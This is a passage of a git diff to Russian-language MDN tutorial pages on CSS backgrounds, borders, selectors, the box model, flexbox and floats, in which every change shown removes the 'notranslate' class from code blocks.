@@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><span class="tlid-translation translation" lang="ru"><span title="">Другие свойства <code>background- *</code> также могут иметь значения, разделённые запятыми, как и <code>background-image</code>:</span></span></p> -<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); +<pre class="brush: css">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right;</pre> @@ -229,19 +229,19 @@ background-position: 10px 20px, top right;</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем установить границу для всех четырёх сторон блока с помощью {{cssxref ("border")}}:</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border: 1px solid black; } </code></pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Или мы можем нацеливаться на один край блока, например:</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border-top: 1px solid black; } </code></pre> <p>Индивидуальные свойства этих сокращений будут следующими:</p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border-width: 1px; border-style: solid; border-color: black; @@ -249,7 +249,7 @@ background-position: 10px 20px, top right;</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">И более детально:</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border-top-width: 1px; border-top-style: solid; border-top-color: black; @@ -269,13 +269,13 @@ background-position: 10px 20px, top right;</pre> <p>Например, чтобы сделать все четыре угла блока радиусом 10px:</p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border-radius: 10px; } </code></pre> <p>Или, чтобы верхний правый угол имел горизонтальный радиус 1em и вертикальный радиус 10%:</p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { border-top-right-radius: 1em 10%; } </code></pre> diff --git a/files/ru/learn/css/building_blocks/selectors/combinators/index.html b/files/ru/learn/css/building_blocks/selectors/combinators/index.html index e06ed6222c..2f82593f1f 100644 --- a/files/ru/learn/css/building_blocks/selectors/combinators/index.html +++ b/files/ru/learn/css/building_blocks/selectors/combinators/index.html @@ -29,7 +29,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <p><strong>Селектор потомка</strong> — обычно представляется символом пробела (<code> </code>) — соединяет два селектора так, что элементы, соответствующие второму селектору, выбираются, если они имеют предка (родителя, родителя родителя, родителя родителя родителя и т.д.), соответствующего первому селектору. Селекторы, которые используют комбинатор потомка, называются <dfn>селекторами потомка.</dfn></p> -<pre class="brush: css notranslate">body article p</pre> +<pre class="brush: css">body article p</pre> <p>В приведённом ниже примере выбирается только тот элемент <p>, который находится внутри элемента с классом<code>.box</code>.</p> @@ -39,7 +39,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <p><strong>Дочерний комбинатор</strong> (<code>></code>) помещается между двумя селекторами CSS. При этом будут выбраны только те элементы, соответствующие второму селектору, которые являются прямыми потомками элементов, соответствующих первому селектору. Все элементы-потомки на более низких уровнях иерархии будут пропущены. Например, чтобы выбрать только те элементы <code><p></code>, которые являются дочерними элементами <code><article></code>, селектор пишется так:</p> -<pre class="brush: css notranslate">article > p</pre> +<pre class="brush: css">article > p</pre> <p>Другой пример. Имеется неупорядоченный список, заключающий в себе другой, упорядоченный список. Дочерний комбинатор используется для того, чтобы выбрать только те элементы <code><li></code>, которые являются прямыми потомками <code><ul></code>, и присвоить им верхнюю границу красного цвета.</p> @@ -51,7 +51,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <p>Соседний родственный селектор (<code>+</code>) используется для выбора элемента, который непосредственно следует за другим элементом и находится на одном с ним уровне иерархии. Например, чтобы выбрать все элементы <code><img></code> , которые идут сразу после элементов <code><p></code> :</p> -<pre class="brush: css notranslate">p + img</pre> +<pre class="brush: css">p + img</pre> <p>Распространённый вариант использования — сделать что-то с абзацем, который следует за заголовком, как в примере ниже. Здесь мы ищем абзац, который непосредственно примыкает к <code><h1></code>, и стилизуем его.</p> @@ -63,7 +63,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <p>Если вы хотите выбрать родственные элементы, даже если они не являются непосредственными соседями, то вы можете использовать общий родственный комбинатор (<code>~</code>). Чтобы выбрать все элементы <code><img></code>, которые находятся в <em>любом</em> месте после элементов <code><p></code>, надо указать так:</p> -<pre class="brush: css notranslate">p ~ img</pre> +<pre class="brush: css">p ~ img</pre> <p>В приведённом ниже примере мы выбираем все элементы <code><p></code>, которые идут после <code><h1></code>, и хотя в документе есть также <code><div></code>, тем не менее <code><p></code>, который идёт после него, будет выбран.</p> @@ -73,7 +73,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <p>Вы можете соединять с помощью комбинаторов любые селекторы, которые мы изучали в предыдущих уроках, чтобы выбрать часть вашего документа. Например, если мы хотим выбрать пункты списка с классом "a", которые являются прямыми потомками <code><ul></code>, можно использовать следующую комбинацию:</p> -<pre class="brush: css notranslate">ul > li[class="a"] { }</pre> +<pre class="brush: css">ul > li[class="a"] { }</pre> <p>Однако будьте осторожны при создании больших списков селекторов, которые выделяют очень конкретные части вашего документа. Будет трудно повторно использовать правила CSS, так как вы сделали селектор очень специфичным для определения местоположения этого элемента в разметке.</p> diff --git a/files/ru/learn/css/building_blocks/selectors/index.html b/files/ru/learn/css/building_blocks/selectors/index.html index 090f134d91..5bf4b0576c 100644 --- a/files/ru/learn/css/building_blocks/selectors/index.html +++ b/files/ru/learn/css/building_blocks/selectors/index.html @@ -47,7 +47,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы <p>Несколько селекторов, использующих одни и те же таблицы стилей, можно объединить в <em>лист селекторов</em>: правило будет добавлено к каждому селектору. К примеру, у меня есть одинаковые правила для заголовка <code>h1</code> и класса <code>.special</code>; я могу написать их так:</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { color: blue; } @@ -57,13 +57,13 @@ original_slug: Learn/CSS/Building_blocks/Селекторы <p>А могу написать короче — просто отделив селекторы запятыми:</p> -<pre class="brush: css notranslate">h1, .special { +<pre class="brush: css">h1, .special { color: blue; } </pre> <p>Пробел можно вставлять до или после запятой. Ещё удобнее писать каждый селектор с новой строки:</p> -<pre class="brush: css notranslate">h1, +<pre class="brush: css">h1, .special { color: blue; } </pre> @@ -76,7 +76,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы <p>В примере ниже правило для селектора класса не будет работать, в то время как <code>h1</code> будет стилизован.</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { color: blue; } @@ -86,7 +86,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы <p>Но если мы объединим селекторы, правило не применится ни к <code>h1</code>, ни к классу: оно считается недействительным.</p> -<pre class="brush: css notranslate">h1, ..special { +<pre class="brush: css">h1, ..special { color: blue; } </pre> @@ -98,41 +98,41 @@ original_slug: Learn/CSS/Building_blocks/Селекторы <p>К этой группе относятся селекторы HTML-элементов, таких как <code><h1></code>.</p> -<pre class="brush: css notranslate">h1 { }</pre> +<pre class="brush: css">h1 { }</pre> <p>К группе относятся и селекторы классов:</p> -<pre class="brush: css notranslate">.box { }</pre> +<pre class="brush: css">.box { }</pre> <p>или селекторы идентификаторов (ID):</p> -<pre class="brush: css notranslate">#unique { }</pre> +<pre class="brush: css">#unique { }</pre> <h3 id="Селекторы_атрибутов">Селекторы атрибутов</h3> <p>Эта группа селекторов позволяет выбирать селекторы, основываясь на <em>наличии</em> у них конкретного атрибута элемента:</p> -<pre class="brush: css notranslate">a[title] { }</pre> +<pre class="brush: css">a[title] { }</pre> <p>или основываясь на <em>значении</em> атрибута:</p> -<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre> +<pre class="brush: css">a[href="https://example.com"] { }</pre> <h3 id="Псевдоклассы_псевдоэлементы">Псевдоклассы, псевдоэлементы</h3> <p>К этой группе относятся псевдоклассы, которые стилизуют определённое состояние элемента. Псевдокласс <code>:hover</code>, например, применяет правило, только если на элемент наведён курсор мыши</p> -<pre class="brush: css notranslate">a:hover { }</pre> +<pre class="brush: css">a:hover { }</pre> <p>К группе ещё относятся псевдоэлементы, которые выбирают определённую часть элемента (вместо целого элемента). Например, <code>::first-line</code> всегда выбирает первую строку внутри элемента (абзаца <code><p></code> в нашем случае), действуя, как если бы тег <code><span></code> оборачивал первую строку, а затем был стилизован.</p> -<pre class="brush: css notranslate">p::first-line { }</pre> +<pre class="brush: css">p::first-line { }</pre> <h3 id="Комбинаторы">Комбинаторы</h3> <p>И последняя группа селекторов: она позволяет объединять селекторы, чтобы было легче находить конкретные элементы внутри документа. В следующем примере мы отыскали дочерний элемент <code><article></code> с помощью комбинатора дочерних элементов (<code>></code>):</p> -<pre class="brush: css notranslate">article > p { }</pre> +<pre class="brush: css">article > p { }</pre> <h2 id="Продолжение">Продолжение</h2> diff --git a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html index 0dca8d3f9d..dccba5ef04 100644 --- a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html +++ b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -35,7 +35,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p>Псевдоклассы — это ключевые слова, которые начинаются с двоеточия:</p> -<pre class="notranslate">:<em>pseudo-class-name</em></pre> +<pre>:<em>pseudo-class-name</em></pre> <h3 id="Простой_пример_псевдокласса">Простой пример псевдокласса</h3> @@ -74,7 +74,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p>Псевдоэлементы ведут себя сходным образом, однако они действуют так, как если бы вы добавили в разметку целый новый HTML-элемент, а не применили класс к существующим элементам. Псевдоэлементы начинаются с двойного двоеточия <code>::</code>.</p> -<pre class="notranslate"><em>::pseudo-element-name</em></pre> +<pre><em>::pseudo-element-name</em></pre> <div class="blockIndicator note"> <p><strong>Примечание</strong>: Некоторые ранние псевдоэлементы использовали синтаксис одинарного двоеточия, которое вы можете иногда видеть в коде или примерах. Современные браузеры поддерживают ранние псевдоэлементы с одинарным или двойным двоеточием синтаксиса для обратной совместимости.</p> @@ -94,7 +94,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p>Если вы хотите сделать шрифт первой строки первого абзаца жирным, вы можете связать вместе селекторы <code>:first-child</code> и <code>::first-line</code>. Попробуйте отредактировать предыдущий живой пример, чтобы использовалась следующая CSS. Мы говорим, что хотим выбрать первую строку первого элемента <code><p>,</code> который находится внутри элемента <code><article></code>.</p> -<pre class="brush: css notranslate"><code>article p:first-child::first-line { +<pre class="brush: css"><code>article p:first-child::first-line { font-size: 120%; font-weight: bold; }</code></pre> diff --git a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html index 6494749f95..9898ab544a 100644 --- a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html +++ b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -48,7 +48,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Se <p><span class="tlid-translation translation" lang="ru"><span title="">Одно из применений универсального селектора состоит в том, чтобы облегчить чтение селекторов и сделать их более удобопонятными с точки зрения того, что они делают.</span></span> Например, если мы хотим выбрать элементы-потомки элемента <code><article></code>, которые являются первыми дочерними элементами своего родителя, включая дочерние элементы самого <code><article></code>, и сделать их шрифт жирным, мы могли бы использовать псевдокласс {{cssxref(":first-child")}}, который мы будем изучать в уроке о <a href="/ru/docs/Learn/CSS/Building_blocks/%D0%A1%D0%B5%D0%BB%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B/Pseudo-classes_and_pseudo-elements">псевдоклассах и псевдо-элементах</a>, как селектор-потомок вместе с селектором элемента <code><article></code>: </p> -<pre class="brush: css notranslate">article :first-child { +<pre class="brush: css">article :first-child { font-weight: bold; }</pre> @@ -56,7 +56,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Se <p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы избежать этой путаницы, мы можем добавить универсальный селектор в псевдокласс</span></span> <code>:first-child</code> <span class="tlid-translation translation" lang="ru"><span title="">, чтобы было очевидно, что делает селектор.</span> <span title="">Он выбирает <em>любой</em> элемент, который является первым дочерним элементом элемента</span></span> <code><article></code> или <span class="tlid-translation translation" lang="ru"><span title="">первым дочерним элементом любого потомка</span></span> <span class="tlid-translation translation" lang="ru"><span title="">элемента</span></span> <code><article></code>:</p> -<pre class="brush: css notranslate">article *:first-child { +<pre class="brush: css">article *:first-child { font-weight: bold; } </pre> diff --git a/files/ru/learn/css/building_blocks/the_box_model/index.html b/files/ru/learn/css/building_blocks/the_box_model/index.html index 3fb706e69e..64aca4b04d 100644 --- a/files/ru/learn/css/building_blocks/the_box_model/index.html +++ b/files/ru/learn/css/building_blocks/the_box_model/index.html @@ -128,7 +128,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p>Предположим, что в элементе есть следующий CSS определяющий <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, и <code>padding</code>:</p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { width: 350px; height: 150px; margin: 10px; @@ -153,13 +153,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p>По умолчанию браузеры используют стандартную блочную модель. Если вы хотите использовать альтернативную блочную модель для элемента, установите для него свойство <code>box-sizing: border-box</code>. С помощью этого вы говорите браузеру о том, что рамка элемента определяется любыми размерами, которые вы устанавливаете.</p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { box-sizing: border-box; } </code></pre> <p>Если вы хотите, чтобы все ваши элементы использовали альтернативную блочную модель, что является распространённым выбором среди разработчиков, установите свойство <code>box-sizing</code> для элемента <code><html></code>, затем задайте всем элементам наследование этого значения (inherit), как показано в примере ниже. Если вы хотите понять ход мыслей, стоящий за этим решением, читайте статью <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>.</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { box-sizing: border-box; } *, *::before, *::after { diff --git a/files/ru/learn/css/building_blocks/values_and_units/index.html b/files/ru/learn/css/building_blocks/values_and_units/index.html index d495b04979..689292d9fc 100644 --- a/files/ru/learn/css/building_blocks/values_and_units/index.html +++ b/files/ru/learn/css/building_blocks/values_and_units/index.html @@ -34,7 +34,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <p>В следующем примере мы установили цвет нашего заголовка используя ключевое слово и фон используя функцию <code>rgb()</code>:</p> -<pre class="brush: css notranslate"><code>h1 { +<pre class="brush: css"><code>h1 { color: black; background-color: rgb(197,93,161); } </code> diff --git a/files/ru/learn/css/css_layout/flexbox/index.html b/files/ru/learn/css/css_layout/flexbox/index.html index 101646aea2..b675a1ec01 100644 --- a/files/ru/learn/css/css_layout/flexbox/index.html +++ b/files/ru/learn/css/css_layout/flexbox/index.html @@ -52,7 +52,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <p>Для начала нам нужно выбрать, какие элементы следует выкладывать в виде flex блоков. Для этого мы устанавливаем специальное значение {{cssxref ("display")}} в родительском элементе тех элементов, которые вы хотите оформить. В нашем случае мы хотим расположить элементы {{htmlelement ("article")}}, поэтому мы устанавливаем это значение на {{htmlelement ("section")}} (который становится flex контейнером):</p> -<pre class="brush: css notranslate">section { +<pre class="brush: css">section { display: flex; }</pre> @@ -85,7 +85,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <p>Попробуйте добавить следующую строчку в ваш файл:</p> -<pre class="brush: css notranslate">flex-direction: column</pre> +<pre class="brush: css">flex-direction: column</pre> <p>Вы увидите, что элементы расположились в виде столбцов, также как было до того, как мы добавили CSS код. Прежде чем продолжать, удалите эту строчку из примера.</p> @@ -101,7 +101,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <p>Мы видим, что дочерние элементы выбиваются из своего родителя-контейнера. Один из способов как это исправить - это добавить следующее свойство:</p> -<pre class="brush: css notranslate">flex-wrap: wrap</pre> +<pre class="brush: css">flex-wrap: wrap</pre> <p>Попробуйте, и вы увидите, что так макет стал выглядеть гораздо лучше:</p> @@ -115,12 +115,12 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <p>На этом этапе нужно заметить, что существует сокращение для свойств {{cssxref("flex-direction")}} и {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Например, вы можете заменить</p> -<pre class="brush: css notranslate">flex-direction: row; +<pre class="brush: css">flex-direction: row; flex-wrap: wrap;</pre> <p>на</p> -<pre class="brush: css notranslate">flex-flow: row wrap;</pre> +<pre class="brush: css">flex-flow: row wrap;</pre> <h2 id="Гибкое_изменение_размеров_flex_элементов">Гибкое изменение размеров flex элементов</h2> @@ -128,7 +128,7 @@ flex-wrap: wrap;</pre> <p>Прежде всего, добавим следующее правило в конец вашего CSS кода:</p> -<pre class="brush: css notranslate">article { +<pre class="brush: css">article { flex: 1; }</pre> @@ -136,7 +136,7 @@ flex-wrap: wrap;</pre> <p>Теперь добавьте следующее правило в строку после предыдущего:</p> -<pre class="brush: css notranslate">article:nth-of-type(3) { +<pre class="brush: css">article:nth-of-type(3) { flex: 2; }</pre> @@ -144,7 +144,7 @@ flex-wrap: wrap;</pre> <p>Вы также можете указать минимальный размер внутри значения flex. Попробуйте изменить существующие правила, добавив размеры:</p> -<pre class="brush: css notranslate">article { +<pre class="brush: css">article { flex: 1 200px; } @@ -180,7 +180,7 @@ article:nth-of-type(3) { <p>Теперь добавьте следующую строку в низ кода CSS:</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { display: flex; align-items: center; justify-content: space-around; @@ -198,7 +198,7 @@ article:nth-of-type(3) { <p>Вы можете переопределить {{cssxref("align-items")}} поведение для отдельных flex элементов, применив свойство {{cssxref("align-self")}} к ним. Например, попробуйте добавить эти строки в код:</p> -<pre class="brush: css notranslate">button:first-child { +<pre class="brush: css">button:first-child { align-self: flex-end; }</pre> @@ -222,7 +222,7 @@ article:nth-of-type(3) { <p>Код здесь простой: попробуйте добавить следующий CSS вниз вашего кода примера:</p> -<pre class="brush: css notranslate">button:first-child { +<pre class="brush: css">button:first-child { order: 1; }</pre> @@ -237,7 +237,7 @@ article:nth-of-type(3) { <p>Вы можете установить отрицательные значения , чтобы элементы отображались раньше, чем элементы с установленным 0. Например, вы можете сделать, чтобы кнопка «Blush» появлялась в начале основной оси, используя следующее правило:</p> -<pre class="brush: css notranslate">button:last-child { +<pre class="brush: css">button:last-child { order: -1; }</pre> @@ -249,7 +249,7 @@ article:nth-of-type(3) { <p>HTML для этого довольно простой. У нас есть элемент {{htmlelement ("section")}}, содержащий три {{htmlelement ("article")}}. Третий {{htmlelement ("article")}} содержит ещё три {{htmlelement ("div")}}.</p> -<pre class="notranslate">section - article +<pre>section - article article article - div - button div button @@ -261,13 +261,13 @@ article:nth-of-type(3) { <p>Прежде всего, мы устанавливаем дочерние элементы {{htmlelement ("section")}} в виде flex блоков.</p> -<pre class="brush: css notranslate">section { +<pre class="brush: css">section { display: flex; }</pre> <p>Затем мы устанавливаем несколько значений на самих {{htmlelement ("article")}}. Обратите внимание на второе правило: мы устанавливаем третий {{htmlelement ("article")}}, чтобы его дети были в макете в виде flex блоков, но на этот раз мы располагаем их как столбец.</p> -<pre class="brush: css notranslate">article { +<pre class="brush: css">article { flex: 1 200px; } @@ -280,7 +280,7 @@ article:nth-of-type(3) { <p>Затем мы берём первый {{htmlelement ("div")}}. Сначала мы пишем flex: 1 100px; чтобы дать ему минимальную высоту 100px, потом мы устанавливаем его дочерние элементы (элементы {{htmlelement ("button")}}) также в виде flex блоков. Им мы назначаем перенос блоков и выравниваем их по центру доступного пространства, как это было в примере с кнопкой.</p> -<pre class="brush: css notranslate">article:nth-of-type(3) div:first-child { +<pre class="brush: css">article:nth-of-type(3) div:first-child { flex: 1 100px; display: flex; flex-flow: row wrap; @@ -290,7 +290,7 @@ article:nth-of-type(3) { <p>Наконец, мы устанавливаем размер кнопке, мы даём ему значение flex 1. Это даёт очень интересный эффект, который вы увидите, если попытаетесь изменить размер ширины окна браузера. Кнопки занимают столько места, сколько могут, и сидят на одной линии также, сколько могут. Если же они не могут комфортно расположиться на одной линии, они перепрыгнут на новые строки.</p> -<pre class="brush: css notranslate">button { +<pre class="brush: css">button { flex: 1; margin: 5px; font-size: 18px; diff --git a/files/ru/learn/css/css_layout/floats/index.html b/files/ru/learn/css/css_layout/floats/index.html index 195ffe4374..3106fe50a2 100644 --- a/files/ru/learn/css/css_layout/floats/index.html +++ b/files/ru/learn/css/css_layout/floats/index.html @@ -38,7 +38,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Во-первых, мы начнём с некоторого простого HTML — добавьте следующее в body вашего HTML, удалив всё что там было до этого:</p> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="box">Float</div> @@ -50,7 +50,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>А теперь примените следующий CSS для вашего HTML (используя элемент {{htmlelement("style")}} или {{htmlelement("link")}} на отдельный файл <code>.css</code> — на ваше усмотрение):</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -67,7 +67,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Если вы сохраните и обновите сейчас, то <span class="tlid-translation translation" lang="ru"><span title="">вы увидите нечто похожее на то, чего ожидаете </span></span>— блок располагается выше текста, при нормальном потоке. Для того чтобы текст обтекал его вокруг добавьте два свойства к правилу <code>.box</code>:</p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { float: left; margin-right: 15px; width: 150px; @@ -83,7 +83,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_1">Float Example 1</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="box">Float</div> @@ -94,7 +94,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -124,7 +124,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Добавьте класс <code>special</code> к первому параграфу текста, тот который непосредственно следует за обтекаемым блоком, далее добавьте следующие правила в ваш CSS. Они дадут нашему параграфу цвет фона.</p> -<pre class="brush: css notranslate">.special { +<pre class="brush: css">.special { background-color: rgb(79,185,227); padding: 10px; color: #fff; @@ -137,7 +137,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_2">Float Example 2</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="box">Float</div> @@ -147,7 +147,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -183,7 +183,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Добавьте класс <code>cleared</code> ко второму параграфу после обтекаемого элемента в ваш HTML из предыдущего примера. Далее добавьте следующий CSS:</p> -<pre class="brush: css notranslate">.cleared { +<pre class="brush: css">.cleared { clear: left; } </pre> @@ -192,7 +192,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_3">Float Example 3</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="box">Float</div> @@ -203,7 +203,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -247,7 +247,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Вы теперь знаете, как очистить что-либо следующее за обтекаемым элементом, но давайте посмотрим, что происходит если у вас имеется высокий обтекаемый объект и короткий параграф с блоком, оборачивающим оба элемента. Измените ваш документ так чтоб первый параграф и наш обтекаемый блок были обёрнуты в {{htmlelement("div")}} с классом <code>wrapper</code>.</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box">Float</div> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p> @@ -256,7 +256,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>В вашем CSS добавьте следующее правило для класса <code>.wrapper</code> и обновите страницу:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; @@ -264,7 +264,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>В добавок удалите класс <code>.cleared</code>:</p> -<pre class="brush: css notranslate" id="ct-0">.cleared { +<pre class="brush: css" id="ct-0">.cleared { clear: left; }</pre> @@ -274,7 +274,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_4">Float Example 4</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="wrapper"> <div class="box">Float</div> @@ -285,7 +285,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -321,7 +321,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Добавьте следующий CSS в наш пример:</p> -<pre class="brush: css notranslate">.wrapper::after { +<pre class="brush: css">.wrapper::after { content: ""; clear: both; display: block; @@ -333,7 +333,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_5">Float Example 5</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="wrapper"> <div class="box">Float</div> @@ -343,7 +343,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -383,7 +383,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Удалите clearfix CSS который вы добавляли в предыдущей секции и вместо него добавьте <code>overflow: auto</code> к правилу для обёртки. Блок снова должен быть очищен.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; @@ -394,7 +394,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_6">Float Example 6</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="wrapper"> <div class="box">Float</div> @@ -404,7 +404,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget 